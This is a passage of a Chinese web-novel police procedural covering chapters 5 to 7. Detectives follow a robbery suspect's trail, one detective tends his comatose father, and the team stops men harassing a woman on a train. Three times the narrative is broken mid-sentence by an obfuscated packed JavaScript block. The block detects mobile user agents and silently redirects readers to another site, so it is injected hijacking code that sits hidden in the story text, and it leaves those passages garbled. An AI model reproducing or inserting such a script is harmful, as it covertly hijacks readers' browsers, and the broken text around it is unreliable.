“大概是半个多月前吧……”那名工人回忆着说:“那天中午放工吃饭,赵东方给石康乐打饭的时候打晚了,没打到肉,只剩下了一些素菜,石康乐接过来一看,当场就把饭盆给砸地上了。” 他顿了顿,喉结滚动了一下:“然后他对着赵东方就是一顿踹,踹的赵东方蜷在地上动都不敢动,李全庆在旁边想上去拉架,结果也被石康乐给打了一顿。” 当时,石康乐居高临下的指着赵东方和李全庆的鼻子骂骂咧咧:“当年的事情要不是老子罩着,你们俩现在都得去吃牢饭,还敢跟老子甩脸子?!” 这话一出,屋子里面瞬间就安静了。 李钦霞的眼睛微微一眯,立刻抓住了那句话里的重点:“当年的事情?什么事情?” “这我就不知道了,”那名工人摇了摇头:“石康乐那人动起手来怪吓人的,谁还敢问啊,我们都不敢靠近的。” 唐嗣钧听着这些话,低着头若有所思。 他之前就觉得曹振卫杀了另外三个人灭口的事情,不像是因为分赃不均的临时起意,更像是早有预谋。 如此一来,这所谓的当年的事情,就有待深究了…… 5. 第 5 章 李钦霞对着同宿舍的几个工人又问了一些细节,但大家都答的一知半解的。 唐嗣钧低垂着头,把那本花名册又翻了一遍。 石康乐几个人来到这个工厂的时间,是今年的5月份,刚好在他们认识曹振卫不久之后。 这个时间点,显得太过于微妙了…… 似乎就连他们在这个工厂干活,都是精心策划过的。 唐嗣钧扬了扬手里的花名册,问工头:“石康乐几个人是从哪儿招的工?” 工头脸上的表情瞬间变得有些微妙,犹犹豫豫的不知道该如何回答。 就在这个时候,旁边忽然有人插了一句嘴:“他们是上面安排下来的……” “刘二柱!”工头猛地转过身,声音都变了调:“你胡咧咧什么呢?!” 刘二柱倚着墙靠着,一脸说实话的表情:“我也没说错啊……本来就是上面安排的嘛,要不然就石康乐那样偷奸耍滑,啥活儿都不好好干的,早就该开除了。” 工头没来得及阻止,他瞪着一双眼睛看着刘二柱,脸黑的跟个炭似的。 “怎么?”唐嗣钧微微抬眸,语气不紧不慢的:“这个有什么隐瞒的必要吗?” 工头的嘴唇蠕动着,过了好一会儿,他才干巴巴的挤出一句话:“不是……不是想隐瞒……” “这几个人确实是大老板安排下来的,说是大老板的亲戚,”工头垂着脑袋,声音闷闷的:“大老板都发话了,我们这种小工头,又能说什么呢?” 他顿了顿,又补充道:“这种事情……传出去对工厂名声不好,所以……我就没往外面说。” 唐嗣钧一双眼睛直勾勾的看着他,但却没有说话。 那目光让工头浑身都有些不自在,他搓了搓手,急切的解释道:“警察同志,我是真不知道他们有啥问题啊……” “行,”眼看着确实问不出来什么有用的东西了,唐嗣钧便站起了身,留下了自己的电话号码:“那今天就先到这,后面可能还会来找你们问话,你们如果有什么想起来的新情况,随时都可以联系我。” 那几个工人连连点头:“好的,好的。” 线索带回去的时候,大队长陈谋义正在办公室里对着黑板上的案情分析图出神。 “大家都辛苦了,”陈谋义转过了头来,牵动着嘴角笑了笑:“就都先回去休息吧。” 施久瞬间瞪大了眼睛:“这是给我们放假吗?” “当然,”陈谋义说话的声音柔和了几分:“这么熬下去,铁打的身子也扛不住,这些线索就交给技术科和其他的同志们去弄,你们回去休息休息吧,明天再来。” 李钦霞双手背在身后,歪着脑袋眨了眨眼:“陈队万岁!” “好了好了,赶紧走吧,”陈谋义笑着赶人:“再不走赶不上回家吃午饭了。” 唐嗣钧来到了自行车棚,找到了自己的车子,解开了锁,正准备推着往外走的时候,一辆女式的自行车在他面前紧急停了下来。 “哎,唐嗣钧,”李钦霞跨坐在自行车上,单脚踩着地,扬着下巴说道:“比赛不?” 唐嗣钧看了她一眼:“比什么?” 李钦霞笑的眼睛弯弯的:“看谁先到家啊。” 唐嗣钧跨上了自行车,慢悠悠地蹬了一脚,从她身边骑了过去:“幼稚。” “切,”李钦霞轻哼了一声,两条腿蹬得飞快,车子嗖的一下就从唐嗣钧的旁边蹿了过去:“那我先走了啊。” 片刻之后,她的声音又从前面飘了回来:“输了的明天请早饭。” 唐嗣钧看着那个越骑越远的背影,无奈的摇了摇头。 他没有加速去追,只是继续慢悠悠地蹬着。 骑了二十多分钟,才拐进了那条熟悉的小巷。 大院的门口,李钦霞不停的嘟囔着:“慢死了慢死了,我等的都快要睡着了。” 唐嗣钧骑到她旁边停下车,淡淡的说:“你先到的,你赢了。” 李钦霞扬了扬下巴,脸上掩饰不住的得意,随后又说道:“哎,你家肯定没准备你的饭吧,都这个点儿了……” “要不要去我家吃?”李钦霞往前凑了凑,一脸的认真:“我提前给我妈打过电话了,正好可以蹭一顿。” 唐嗣钧摇了摇头:“不用。” 李钦霞的眉毛挑得更高了:“不用?你饿着啊?” 唐嗣钧轻声答道:“回去煮点面就行。” 李钦霞盯着他的脸看了几秒,从鼻子里哼了一声:“狗咬吕洞宾,不识好人心。” 她蹬了一脚自行车,车子往前滑了出去:“懒得管你!” 李钦霞骑出去了几米,又停了下来,回头冲唐嗣钧喊:“饿死了可别怪我没叫你啊。” 唐嗣钧看着她那个咋咋呼呼的背影,嘴角微微动了动:“放心,饿不死。” 他转过身,推着自行车往家的方向走,屋子里面的窗帘全部都拉了起来,黑漆漆的,无比的安静。 唐嗣钧把钥匙放在了门口的鞋柜上面,打开了屋里的灯,弯下腰,正准备换鞋的时候,耳边冷不丁的传来了一个苍老的女声:“你怎么回来了?” 他回过头,看见自己的母亲刘文珊正站在卧室的门口。 她今年还不到五十,但头发却已经白了大半,她身上穿着一件半旧的毛衣,眼窝有些凹陷,眼袋也很重。 刘文珊就那么站在那,目光冷冷的落在唐嗣钧身上,面无表情的。 “案子有进展了,”唐嗣钧直起身回答道:“陈队就让我们先回来休息。” 刘文珊听了,没什么太大的反应,只是淡淡的哦了一声:“那今天给你爸擦身的事情,就你来吧。” 唐嗣钧点头答应:“好。” 刘文珊没有再说话,转身走回了卧室里。 唐嗣钧缓步走进了厨房,他先是从柜子里面翻出了一包挂面,然后又拿了两个鸡蛋和一小把青菜,准备下碗面条吃。 水烧开了以后,唐嗣钧将面条下进了锅里,又把洗净的青菜丢了进去,最后还卧上了两个荷包蛋。 唐嗣钧一手端着一个碗从厨房走出来的时候,刘文珊正坐在客厅的沙发上,捧着一个搪瓷缸子,小口小口的喝着水。 沙发正对面的电视柜上放着一张全家福,照片里的男人穿着警服,笑的格外的爽朗,他的旁边站着年轻时的刘文珊,刘文珊的怀里搂着才十岁的唐嗣钧。 唐嗣钧的目光在那张全家福上扫过,随后把面碗放在了刘文珊面前的茶几上:“吃饭吧。” 刘文珊抬起头看了唐嗣钧一眼,什么话也没有说,只是拿起筷子默默的吃了起来。 唐嗣钧吃完了面,将碗筷全部都洗了个干净,然后端着一盆温水,推开了另外一间卧室的门。 卧室的床上躺着一个男人。 他瘦小,苍老,像是一节干枯的树枝似的。 他静静的躺在那里,无声无息的,只有床头柜上那台维持生命的机器,不断地发出滴滴滴的声响。 唐嗣钧走到了床边,低头看着那张紧闭着双眼的脸。 这是他的父亲,唐国政。 七年前,他还是燕京市局刑侦大队的中队长,他破过不少大案,立了很多功,甚至还上过报纸。 妻子温柔,儿子懂事,整个人的人生顺遂又幸福。 可在一次出任务的时候,他为了保护一个孩子,被犯罪嫌疑人炸成了重伤,全身上下都被炸的几乎没有一块好肉。 他被送到医院抢救了十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320980|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小时,虽然保住了一条命,但却成为了植物人,再也没有醒过来。 那一年,唐嗣钧刚刚上高一。 刘文珊在医院的走廊里面,几乎哭掉了半条命,她跪在医生们的面前,求他们再想想办法,可终究还是于事无补。 最终,她只冷着一张脸,几乎是命令般的对唐嗣钧说:“不许考警校,你要是敢去当警察,我就不认你这个儿子。” 可唐嗣钧高考之后,还是报了警校,还是穿上了这身警服。 当年的那个案子,还有一个嫌疑人逃脱在外。 他是一定一定,要将那个人抓捕归案的。 但是自那以后,母子之间的关系也是彻底的降入了冰点。 他们没有吵架,也没有冷战。 就像是两个全然陌生的人,搭伙住在一个屋檐下,过日子一样。 他们各过各的,互不干扰。 唐嗣钧轻轻叹了口气,把水盆放在了床边的凳子上,拧干了毛巾,开始给唐国政擦身体。 毛巾从唐国政的皮肤上面慢慢滑过,唐嗣钧甚至能摸到下面硬邦邦的骨头轮廓。 七年前那张宽厚的脸,早就瘦的脱了形。 擦完了身子,唐嗣钧放下了毛巾,双手托住了唐国政的腰,慢慢的把他侧了过来。 植物人的身体,每天都需要翻动,否则就会长褥疮。 紧接着,唐嗣钧从唐国政脚底开始,用拇指不停的按压着那些僵硬的肌肉。 一下又一下的,力道不轻也不重,小腿,大腿,手臂,肩膀……每一处的关节都需要活动一遍,以防血栓,也防止肌肉过度萎缩。 等唐嗣钧做完这一切,已经过去了两个多小时了。 午后的阳光透过窗帘的边缘照进来了一丝,落在了地板上,行成了细细的一条光斑。 唐国政的那张脸还是那样的瘦削,没有任何的表情。 七年了,他没有睁开过眼睛,也没有说过一句话,没有动过一根手指。 唐嗣钧抿了抿唇,弯下腰把被子往上拉了拉,盖住了唐国政的肩膀。 然后,他转过了身,走出了那间卧室,轻轻带上了门。 下午的时候,唐嗣钧把模拟器里发生的事情从头到尾都梳理了一遍。 记录的秘密麻麻的笔记本上,曹振卫的名字下面被重重的画了一道横线。 曹振卫和石康乐三个人全部都是从百通乡来的,他们为什么不认识曹振卫? 石康乐在吵架的时候,口中所说的当年的事情又是什么事? 他们又和这间工厂的大老板有什么关系? 这些问题在唐嗣钧的脑海里转了一遍又一遍,转的他太阳穴都有些发胀了。 唐嗣钧揉了揉眉心,合上了笔记本。 晚上,他躺在床上,也不知道过了多久,才终于沉沉的睡了过去。 第二天一早,唐嗣钧照常去了市局上班。 一推开办公室的门,他就觉得气氛有些不太对。 平常这个时候,大家伙要不是聚在一起讨论案子,要不就是说着闲话,但今天的办公室里却安静的有些异常。 他坐在了自己的位置上,环顾了一圈:“这是怎么了?” 许恩环皱着眉头说道:“昨天从那个厂房里搜集到的东西……比对结果都出来了。” “但是……”许恩环长长的吐出了一口浊气,整个人显得颇为无奈:“没有一个匹配上的。” “也就是说……”施久轻声补充道:“工厂里面请假的石康乐,赵东方和李全庆三个人,和抢劫案的三名死者没有任何的关系……” 他跨坐在椅子上面,把脑袋垂了下去,声音闷闷的说道:“我们忙活了这么半天,全都是白费力气。” 6. 第 6 章 好不容易找到的线索,就这么断了。 办公室里安静的都有些压抑。 唐嗣钧从许恩环的手里面接过了那份比对报告,白纸黑字,写得清清楚楚,所有的样本对比都不相符。 这一瞬间,唐嗣钧终于想清楚了曹振卫留下线索的原因。 曹振卫故意留下绳子,引着警方到那个工厂里面去探查,那么警方就会自然而然的怀疑到石康乐三个请假的人。 但在警方到达工厂之前,曹振卫早就已经将宿舍里面石康乐三个人的毛发和指纹给替换掉了。 如此一来,所有的证据都会证明,死在爆炸案里面的三名死者和工厂里面消失的石康乐三个人,毫无关联。 从此,警察的调查方向就会彻底的偏移,他们会沿着这条错误的线索,花大量的时间去寻找三个失踪的人。 而真正的曹振卫,早就带着钱消失在了茫茫人海里。 也就不会再有任何一个人怀疑到他曹振卫的身上。 唐嗣钧攥着报告的手指微微用了用力。 曹振卫…… 此人的心机……太深了。 他不仅在杀人灭口的时候算计好了每一步,连死后的事情也都算的清清楚楚。 就在此时,办公室的门忽然被人从外面推开了:“一个个都垂头丧气的干什么呢?” 来的是刑警队的副队长王伯威,他虽然已经五十多岁了,但身材却依旧无比的精悍,只是简单的往那一站,就像是荒漠公路旁迎风而立的老白杨似的。 唐嗣钧转过头,喊了一声:“师父。” 其他人也相继唤他:“王队。” 王伯威摆了摆手,大踏步的走了进来:“已有的线索没用,再找新的线索就是了,这案子才发生了四天,着什么急?” 唐嗣钧倒了一杯茶水递给王伯威,把自己刚才的猜测说了出来。 “你是说……”王伯威手指一下又一下有节奏的敲击着办公桌:“逃掉的那个嫌疑人,把咱们当猴耍呢?” 唐嗣钧轻轻点了点头:“不能排除嫌疑。” 王伯威沉吟了片刻:“你这个推测有一定的道理,但这只是一个可能性,咱们不能把所有的希望都寄托于这样一个推测上。” “百通乡那边确实可以安排人去查一查,”王伯威想了想:“但是顶多去上两三个,大部分的警力还是得留在燕京,这边的线索不能放。” “我明白的,师父,”唐嗣钧立刻开口道:“所以我想申请前往。” “这事我说了不算,”王伯威笑着拍了拍唐嗣钧的肩膀:“我得去找陈队商量商量。” 陈谋义很快就通过了这次的申请,他安排的前往百通乡的人是唐嗣钧和施久。 消息传出去没几分钟,陈谋义办公室的门就又被敲响了。 陈谋义头也不抬的说道:“进来。” 门被推开以后,李钦霞规规矩矩的站在那里,冲陈谋义点了点头:“陈队。” 陈谋义把脊背往后靠了靠,不动声色的问道:“有事?” 李钦霞抿了抿唇:“陈队,我想问问,去百通乡的人选,为什么没有安排我?” 陈谋义一脸无奈的说:“这是李局的意思。” 听到这话,李钦霞的拳头瞬间就攥紧了。 她站在那里,深吸了一口气,努力让自己的声音听起来平静一些:“陈队,我知道了,谢谢您。” 紧接着,李钦霞就转身走出了办公室。 门在身后关上的那一刹那,她的脚步微微顿了一下,然后,她毫不犹豫的走向了走廊的另一头。 副局长的办公室在楼上。 李钦霞走到门口的时候脚步未停,直接非常大力的推开了门。 “砰——” 门边撞在墙上,发出了一声很大闷响。 副局长李综铭此时正坐在办公桌后面看文件,他被这突如其来的动静吓了一大跳。 他抬起头,看见门口站着的李钦霞的时候,眉头立刻皱了起来:“进办公室不知道敲门吗?” 李综铭说话的声音不高,却带着一股不怒自威的压迫感:“李钦霞,你现在是一名刑警,你的素质在哪里?” “李大局长,”李钦霞关了上门,迎着李综铭的目光,一字一顿的开口:“你也说我是一名刑警,不是小孩子了,能不能请你正视一下我的身份?” “在工作的时候,麻烦你不要把我当成你的女儿,”李钦霞无比的认真:“我现在只是你的一个下属。” 李综铭看着李钦霞嘴巴不停叭叭的样子,只觉得太阳穴突突的疼,他刚想说些什么,就立马被李钦霞给打断了。 “你凭什么不让我去?”李钦霞的声音拔高了一点,带着几分愤怒和不甘:“这个案子我从头跟到尾,施久都能去,凭什么我就不能去?” “是我不让你去吗?”李综铭只觉得头疼至极:“我要是让你去了,你妈还不得跟我吵翻天?” 李综铭伸手揉了揉眉心,颇有几分疲惫:“你妈那个臭脾气你又不是不知道,当年你非要考警校,她跟我闹了那么久,后来你分到刑侦,她又跟我闹,现在你还要去外地查案子,她能同意吗?” 李钦霞的嘴唇抿成了一条线,过了好一会儿,她才开口,说话的声音很轻,但却很坚定:“这是我自己的事情。” “是我自己选择当一名刑警,也是我自己选择去查这个案子,”李钦霞的缓缓吐出了一口浊气:“妈那边我会去说,但你不能因为怕她闹,就不让我去。” 李综铭静静的看着她,没有说话。 李钦霞迎着他的目光,一步不让。 过了半晌,终究还是李综铭败下了阵来:“行,你去吧。” 李综铭挥了挥手,仿佛是认命了似的:“但是你要自己去跟你妈说,到时候别把我扯进去就行。” 李钦霞的眼睛瞬间就亮了起来。 紧接着,她整个人直接冲过了办公桌,一把抱住了李综铭的脖子:“谢谢爸爸!” 此时的李钦霞满脸欣喜,完全不似刚才据理力争的样子。 李综铭僵硬的坐在椅子上,两只手悬在了半空中,一时之间都不知道该往哪里放了。 过了片刻,他回过神来,故意板起了一张脸,冷着声音说:“赶紧走,赶紧走,再不走我可就后悔了啊。” 李钦霞闻言松开了手,她理了一下有些凌乱的衣服,收敛起了笑容。 随后,她立正站好,抬起右手敬了一个标准的军礼:“是,李局。” 看着被李钦霞轻轻关上的办公室的门,李综铭语气里带着笑,低低的说了一句:“这孩子……” —— 最终,前往百通县的人选定在了唐嗣钧,李钦霞和施久三个人身上。 火车票买的是当天下午的,王伯威把三个人叫到了办公室,千叮咛万嘱咐了一番,又留了一些时间让他们回去收拾行李。 唐嗣钧回到家以后,拿出了一个背包,整理了一些换洗的衣物,还有一个本子和几只笔。 正收拾着,身后传来了几道脚步声,刘文珊站在门口问:“干什么去?” 唐嗣钧手上的动作微微顿了一下:“出差,去外地办个案子。” 刘文珊盯着唐嗣钧看了半晌,突然开口:“你跟你爸一个德行。” 不顾自己,也不顾家。 只一头扎进那些危险的案子里,把命别在裤腰带上,丝毫不顾亲人的担惊受怕。 唐嗣钧把叠好的衣服放在一旁:“我是一名刑警,这是我必须要做的事情。” 刘文案冷笑了一声:“对,你们父子俩,都高尚,都光荣。” 唐嗣钧站直了身体,静静的看着刘文珊,当年以泼辣著称的女人,在这些年家庭的操劳中,愈发的单薄伶仃了。 “妈,”唐嗣钧轻轻叹了一口气,声音软了下来:“当年伤害了爸爸的那些嫌疑人,还有一个在逃。” “我想要亲手抓住他。” 刘文珊的嘴唇微微微微颤抖着,像是在努力的压制着什么。 过了好一会,她才缓缓开口:“可我不在乎什么抓不抓住嫌疑人……” “我只是希望……你们都能平平安安的……”刘文珊的声音忽然哽咽了起来:“你不要走了你爸的老路……” 唐嗣钧闻言,伸手抱了一下刘文珊,轻轻拍在她的脊背上:“不会的,我已经长大了,我能照顾好我自己。” 他像小时候一样,将脑袋埋在了刘文珊的肩头,缓声说:“而且这个案子没有什么危险性,等我到了地方,就给你打电话报平安,好不好?” 刘文珊沉默了许久,终究还是点了点头,她撸起了袖子,转身往厨房走:“坐火车舟车劳顿的,我去给你烙几个饼子,你好带着路上吃……” 一个小时以后,唐嗣钧装着满满一大袋的烙饼,出了门。 大院的门口,李钦霞已经坐在出租车里面等着了,她摇下了车窗,冲着唐嗣钧不断的挥着胳膊:“快来快来!” “看姑奶奶大发慈悲,还特意载你一程。” 唐嗣钧拉开车门坐进后座:“那我还真是要谢谢你啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320981|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 虽然今天是工作日,但是火车站的人还是很多,来来往往的人群拎着各式各样的行礼,行色匆匆的。 候车室的门口,施久正伸长了脖子四处张望着,一看见唐嗣钧和李钦霞,立马便使劲的挥起了手:“这里,这里!” 施久长了二十多岁,还是第一次坐火车,整个人无比的激动。 他拿着车票,兴奋的找着自己的位置,一屁股坐在座位上,他又回头拍了拍身旁的两个空座位,冲着唐嗣钧和李钦霞招呼:“快来快来,坐这里。” 唐嗣钧看着他兴高采烈的模样,也控制不住的弯了弯唇角。 他缓缓靠在了椅背上,闭上了眼睛,阳光从玻璃窗户照进来,洒在人的身上,暖洋洋的。 火车在轨道上面哐当哐当的摇晃了两天,在原河市的前一站,一个梳着两个麻花辫的女孩,拖着一个巨大的编织袋艰难的走在过道里:“让一让,麻烦让一让……” 这个编织袋实在是有些太大了,女孩拖着走上几步,就得停下来喘几口气。 在经过唐嗣钧身边的时候,那个袋子结结实实的撞在了他的小腿上。 “啊……”女孩慌忙停了下来,一张脸涨得通红,不断的鞠躬道歉:“对不起,我不是故意的。” 唐嗣钧睁开了眼睛,眼前的女孩看起来很年轻,二十多岁的样子,脸颊被冷风吹的有些红扑扑的。 “我来帮你吧。”唐嗣钧伸手拎起了那个编织袋,袋子抓在手里非常的沉,但他还是将其稳稳的放在了行李架上。 “谢谢,”女孩见此,又开始鞠躬:“真的太感谢你了。” “没事。”唐嗣钧无所谓的说了一句,紧接着又坐回座位上闭目养神。 女孩也找到了自己的位置,可她刚坐下,就见自己的对面坐着三个男人,而且每一个都看起来非常不太好惹的样子。 他们其中有一个长得非常壮实的,像是在看待猎物一样,将女孩从上到下的给打量了一遍。 女孩被他看的浑身不舒服,可她就只有自己一个人,也不敢说些什么,只能下意识的往窗边缩了缩。 火车开出去没多久,那个壮硕男人忽然站了起来,他走到了女孩旁边的那个年轻人面前,居高临下的看着他:“喂,咱两换个座。” 女孩无助的扯了一下年轻人的衣袖,满脸哀求的看着他。 可年轻人也不敢惹这么一个又高又壮的男人,他默默的拿起自己位置上的东西,走到了对面的空位上坐下。 壮硕男人咧着嘴,角一屁股坐到了女孩的身边,身体故意和她挨得很近。 他身上浓烈的烟臭味熏得女孩都有些想吐了。 壮硕男人张开嘴,露出满口的黄牙:“小妹妹,你一个人坐火车呀?” 女孩没有理会壮硕男人,努力的远离了一些。 可壮硕男人却有些不依不饶,他的屁股又往旁边蹭了蹭,满脸猥琐的表情:“你要去哪儿呀?跟哥哥说说呗,哥哥好罩着你啊。” 他说着话,竟是直接伸手朝女孩的脸上摸了过去。 女孩猛地偏头躲开了那只咸猪手,她咬着嘴唇,声音都有些发抖:“请……请你自重!” 壮硕男人见此,非但没有恼怒,反而是笑的更开心了,他轻轻的重复了一遍女孩的话:“自重?” “妹妹啊,”壮硕男人的脑袋歪了歪,像长辈谆谆教导一样:“哥哥这是关心你呢,你怎么这么不懂事啊?” 他一边说话,一边往女孩的身旁靠,挤得女孩几乎都有些动弹不得了。 甚至,他嘴里说的话也是越发的不堪入耳:“一个人坐车多孤单啊,哥哥陪你聊聊天不好吗?” “你身上的味道真好闻,用的啥洗的澡啊?” “别躲呀,哥哥又不会吃了你……” 女孩拼了命的往窗边缩着,身体抖若筛糠,眼泪大颗大颗的往下掉了:“别过来,你别过来……” 就在壮硕男人的手准备往女孩的大腿上探去的时候,斜刺里却突然伸出了一只骨节分明的手,紧紧的抓住了他的的手腕。 “你他妈……”壮硕男人回头看了过来,高声怒骂道:“哪儿来的龟儿子……” 唐嗣钧的一双眼睛黑沉沉的看着壮硕男人,让他莫名的有些后背发凉。 壮硕男人咬着牙,色厉内荏:“小子,我劝你少管闲事!” 唐嗣钧弯了弯唇角,笑意盈盈的说:“你生什么气呀?” “有什么话,好好跟我说嘛,”他顿了顿,慢条斯理的补了一句:“我也会很疼你的。” 7. 第 7 章 壮硕男人的脸瞬间就涨成了猪肝色,他嘴唇蠕动了半天,却一个字都没有说出来。 那只扣在他手腕上的手看着有些纤细,可力道却大的惊人。 壮硕男人挣扎了好几下都能挣脱开来,那只手就像是一把铁钳一样,从始至终都死死的箍着他,骨头都被捏的有些疼了。 “你他妈的……”壮硕男人怒骂了一声,冲着自己的两个同伙使了个眼色。 那两人立刻站起了身,一左一右的围了过来。 “哪里来的小兔崽子,活腻歪了吧……”其中一个瘦高个一边嚷嚷着,一边伸手就要去拽唐嗣钧的胳膊。 车厢里面瞬间响起了几道惊呼声,缩在窗边的女孩被吓的脸色煞白,嘴唇都在发抖。 唐嗣钧冷笑了一声,扣着壮硕男人手腕的那只手臂直接用力的往下压了下去,壮硕男人的身体不由自主的朝前栽去,脑袋重重的磕在了小桌板上。 同一瞬间,他右腿往后一踹,结结实实的踹在了瘦高个的小腹上。 瘦高个惨叫了一声,摇晃着连连后退着,一个不小心又踩到了同伴的脚。 一时之间,两个人滚成了一团,全部都重重的摔在了地上。 他们无论如何也没想到,自己这边三个人,竟然在眨眼之间就都被唐嗣钧秒了。 被唐嗣钧钳制着的壮硕男人咬了咬牙,眼神有些发狠,但他还来不及做些什么,听到动静的李钦霞和施久就已经赶到了现场。 他们一人拖着一个倒在地上的人,把他们的胳膊拧到了身后,直接用手铐将其给铐了起来。 唐嗣钧看着面前的壮硕男人,幽幽的说:“是你自己来,还是我动手?” “你……你们……”壮硕男人满脸的不可置信:“你们是警察?” “乖,”唐嗣钧伸手在壮硕男人的脸上轻轻拍了拍:“我知道你震惊,那你先别震惊,有什么话,咱们一会到了派出所里,有的是时间慢慢说。” 紧接着,唐嗣钧喊来了乘警:“这三个人,不仅猥亵妇女,还袭警……” “冤枉啊……”壮硕男人只觉得无比的麻爪子,他满脸都是委屈:“我也不知道他们是警察啊……” 其中一名乘警侧头看他一眼,声音冷冷的:“怎么,我还得颁个奖给你不成?” “不……不敢……”壮硕男人缩了缩脖子,不说话了。 那名乘警哼了一声,转头问唐嗣钧:“你们是要到哪里去?” “路固县,”唐嗣钧回答道,随后又伸手指了指那三个男人:“刚好把他们顺带一块押过去。” “这样吧,”那名乘警想了想:“现在路固县还有几个小时的车程,我先把他们铐在座位上,等到了站你们直接带走就行。” 唐嗣钧轻轻点了点头:“那就麻烦了。” 车厢里渐渐的恢复了平静,但乘客们却依旧在不停的交头接耳,甚至还时不时的朝着这边瞄一眼。 “谢谢……”事情了了,女孩弯着腰不停的道着谢:“我刚才听你们说,你们也要去路固县?” “是啊。”李钦霞包里面掏出了一张手绢,递给了女孩:“把眼泪擦擦吧。” 女孩一边擦着泪,一边说:“那可真是太好了,我叫牛开蕊,家就是路固县的,我之前在市里面打工,现在天冷了,没活干了,我就准备回家去。” “那个……”牛开蕊微微吸了吸鼻子:“我能和你们一起走吗?今天幸好遇到你们了,要不然我都不知道该怎么办了,等下了火车你们可以去我家做客,我让我妈妈给你们做麻薯吃。” “可以和你一起走,”唐嗣钧的声音柔和:“不过去你家做客就免了,我们到了地方还有事情要办。” 牛开蕊颇有些遗憾,但也知道不能打扰警察同志们办案:“那好吧,不过你们事情办完了的话,可以来我家玩哦。” 说完这话,牛开蕊的手指用力的搅在了一起,迟疑着不敢坐回自己的座位上去。 唐嗣钧看出了她内心的纠结,直接在她的位置上坐了下来:“你去坐我那吧,这边还得有人看着。” 牛开蕊立刻如蒙大赦:“谢谢,真是太谢谢你了。” 即使那三个人已经被铐上了手铐,可她还是不敢坐在他们对面。 李钦霞反手搂上了牛开蕊的胳膊,带着她亲亲热热的往回走:“来来来,我们两个女孩坐一块,不理他们臭男人。” 施久看着凑在一起的两个脑袋,有些无语的摇了摇头。 “你……”眼看着唐嗣钧竟然真的坐在这里不走了,壮硕男人有些害怕的缩了缩脖子。 他本来还想着,可以找机会逃跑呢。 可现在唐嗣钧一直在这里看着他们…… 难不成他们真的要进派出所了? “怎么?”唐嗣钧抬眸,淡淡的看了他们一眼:“我不能坐这里?” 壮硕男人强行挤出了一个笑脸:“不敢不敢……哪能呢……” “您随便坐,随便坐……” —— 下午三点多的时候,火车终于抵达了路固县火车站。 这个车站非常的小,只有一个站台,连个天桥都没有,站台上面稀稀拉拉的站着几个人,到处都是冷冷清清的。 在乘警的帮忙下,那三个男人被串成了一串糖葫芦,被押着走了出来。 牛开蕊作为受害者,也需要到派出所去做个笔录,所以暂时还不能回家。 唐嗣钧他们来办案子,是需要和当地的派出所联系的,更何况还押着人呢。 所以,他们在火车上的时候,就提前和当地派出所的人员打了个电话。 刚从出站口走出来,就看到一个穿着警服的年轻警察手里面举着一个纸板,上面写着:欢迎燕京来的同志。 李钦霞蹦跳着三两步走了过去:“同志你好啊,我是燕京来的李钦霞。” “你好你好,”那个年轻的警察和李钦霞握了握手:“我姓蔡,你们叫我小蔡就可以了。” 他说着话,伸手指了指停在路边的一辆白色面包车:“车就在那里,咱们上车说吧。” 唐嗣钧微微点了点头:“麻烦你来接我们。” “不麻烦不麻烦,”小蔡拉开了面包车的侧门,满脸笑容的说道:“你们过来办案子,还给我们送了个业绩,怪不好意思的……” 李钦霞扶着牛开蕊上了车,回头看了小蔡一眼,嘴角也弯了起来:“都是兄弟单位,互相帮助都是应该的。” “对对对,互相帮助,”小蔡连连点着头:“你们坐稳了啊,路不太好走,有点颠。” 路固县虽说是县城,但拢共也就一条主街,街道的两边开着一些小店铺,路面也是坑坑洼洼的,车子开过去的时候颠簸的非常厉害。 小蔡一边开车,一边给他们介绍:“咱们路固县比较小,骑着自行车二十分钟左右就能转上一圈了,你们要查的那个百通乡,离县城还有三十多里地,那边就更偏了,你们想要过去的话,得走山路。” 面包车开了不过五六分钟的时间,就到达了派出所的院子门口。 院子不算太大,外面围着一圈灰色的砖墙,里面有一栋二层的小楼,楼前还停着两辆警用摩托车。 小蔡健唐嗣钧盯着院子里的小楼看,有些不好意思的挠了挠头:“我们这小地方,条件也就这样,燕京来的同志,你们可别笑话啊。” 李钦霞从车上跳了下来,拍了拍手上的灰:“笑话什么呀,不论条件怎么样,都是为人民服务嘛。” 几人正说着话呢,楼里面走出来了一个男人。 他四十多岁的样子,中等个头,穿着一件半旧的警服,胸前的警号磨的都快要看不清楚了。 “我是路固县派出所的所长,周昌达,”他一边介绍着,一边和大家握手:“欢迎欢迎,路上辛苦了。” 周昌达看了一眼那三个被铐着的男人,转身朝楼里喊了一嗓子:“老陈,带两个人过来。” 很快的,楼里面又跑出来了几名警员。 周昌达指了指那三个男人:“先押下去关起来,其他的回头再说。” 紧接着,周昌达又将目光投向了牛开蕊:“这位姑娘是……?” “受害人,”李钦霞解释道:“路上那三个骚扰的就是她。” “明白了,”周昌达点了点头,又喊了个人过来:“你带他下去做个笔录,仔细着点。” 那名警员应了一声:“姑娘,跟我来吧。” 牛开蕊离开的时候,看了李钦霞一眼。 “没事,”李钦霞轻轻拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 